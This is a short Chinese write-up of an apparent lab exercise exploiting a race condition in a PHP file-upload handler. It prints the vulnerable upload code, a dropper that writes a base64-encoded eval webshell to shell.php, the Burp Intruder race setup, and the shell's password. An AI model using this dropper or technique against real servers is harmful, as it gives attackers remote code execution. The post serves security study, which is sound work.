文件上传-条件竞争
作者:Mi2ac1e
一直以来都知道文件上传中有一个绕过方法是条件竞争,但没有实际试验过。于是在今天实验的过程中发现了一些问题,写这篇文章记录一下。
0x01 代码分析
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
代码分析:先将文件上传到服务器中,再判断文件后缀是否在白名单里面。如果在则重命名,否则删除。
明显缺陷在于:先将文件上传到服务器中
并且该操作没有重命名
我们上传的文件。这就可以让我们有了可乘之机:只要知道我们将文件上传到了哪,就可以设置burp一直上传、一直访问。
0x02 漏洞利用
为了万无一失,我并没有将上传的php直接写成一句话木马,而是访问这个文件即可生成一个webshell
需要上传的php代码:
<?php
$a='PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+';
$myfile = fopen("shell.php", "w");
fwrite($myfile, base64_decode($a));
fclose($myfile);
?>
这里需要写入的内容使用了base64加密,原因是如果你直接将$a=一句话木马,生成的文件中将不会含有$_POST['xxx'] 所以我们需要使用base64加密
我把这个文件命名为tjjz.php
上传文件的Burp-intruder:
尽管你后面使用Null payload,但仍然需要设定一个变量。而且这个变量最好是空格作为变量。否则他的请求包会变成这样:
(随便设置变量并选择Null payloads的下场,他会将变量变成空)
访问地址的Burp-intruder:
0x03结果呈现
蚁剑连接生成的shell.php 密码 a